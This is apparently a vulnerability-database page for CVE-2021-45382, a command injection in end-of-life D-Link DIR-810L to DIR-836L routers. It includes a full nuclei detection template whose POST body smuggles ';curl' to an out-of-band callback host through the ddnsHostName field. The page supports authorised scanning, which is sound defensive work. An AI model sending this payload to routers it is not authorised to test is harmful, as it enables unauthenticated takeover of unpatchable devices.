D-Link - Remote Command Execution

Exploited in the wild. Listed by CISA on 2022-04-04; known to be used by ransomware.

criticalseverity

9.8CVSS score

97.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A Remote Command Execution (RCE) vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file

Impact

Unauthenticated attackers can execute arbitrary system commands via command injection in the DDNS function, leading to complete router compromise and control over network traffic.

Fix

DIR-810L, DIR-820L, DIR-830L, DIR-826L, DIR-836L, all hardware revisions, have reached their End of Life ("EOL") /End of Service Life ("EOS") Life-Cycle and as such this issue will not be patched.

How to confirm it

Send: POST {{BaseURL}}/ddns_check.ccp
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: curl"

Run it with nuclei: nuclei -id CVE-2021-45382 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-45382

info:
  name: D-Link - Remote Command Execution
  author: king-alexander
  severity: critical
  description: |
    A Remote Command Execution (RCE) vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file
  impact: |
    Unauthenticated attackers can execute arbitrary system commands via command injection in the DDNS function, leading to complete router compromise and control over network traffic.
  remediation: |
    DIR-810L, DIR-820L, DIR-830L, DIR-826L, DIR-836L, all hardware revisions, have reached their End of Life ("EOL") /End of Service Life ("EOS") Life-Cycle and as such this issue will not be patched.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45382
    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10264
    - https://github.com/doudoudedi/D-LINK_Command_Injection1/blob/main/D-LINK_Command_injection.md#poc
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-45382
    cwe-id: CWE-78
    epss-score: 0.97836
    epss-percentile: 0.99907
    cpe: cpe:2.3:o:dlink:dir-820l_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dir-820l_firmware
  tags: cve2021,cve,dlink,kev,rce,vkev,vuln
variables:
  string1: "{{to_lower(rand_base(5))}}"
  string2: "{{to_lower(rand_base(6))}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/ddns_check.ccp"

    body: "ccp_act=doCheck&ddnsHostName=;curl https://{{interactsh-url}};&ddnsUsername={{string1}}&ddnsPassword={{string2}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

References

Use this check only on systems you are authorised to test. Where the data comes from